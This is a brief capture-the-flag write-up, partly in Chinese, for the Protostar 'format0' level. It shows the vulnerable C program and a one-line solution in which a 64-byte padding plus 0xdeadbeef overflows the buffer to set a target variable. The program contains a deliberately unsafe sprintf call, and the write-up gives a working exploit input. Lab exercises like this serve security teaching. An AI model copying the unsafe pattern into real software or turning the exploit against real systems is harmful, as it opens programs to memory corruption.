About
This level introduces format strings, and how attacker supplied format strings can modify the execution flow of programs.
Hints:
- This level should be done in less than 10 bytes of input.
- "Exploiting format string vulnerabilities"
This level is at /opt/protostar/bin/format0
#include <stdlib.h%gt;
#include <unistd.h%gt;
#include <stdio.h%gt;
#include <string.h%gt;
void vuln(char *string)
{
volatile int target;
char buffer[64];
target = 0;
sprintf(buffer, string);
if(target == 0xdeadbeef) {
printf("you have hit the target correctly :)\n");
}
}
int main(int argc, char **argv)
{
vuln(argv[1]);
}
格式化字符串热身题,只需要将target部分覆盖也\xdeadbeef即可。因为在定义时,target和buffer是连着的,因此在内存的位置也是一起的。故可得:
user@protostar:/opt/protostar/bin$ ./format0 $(python -c 'print "a"*64+"\xef\xbe\xad\xde"')
you have hit the target correctly :)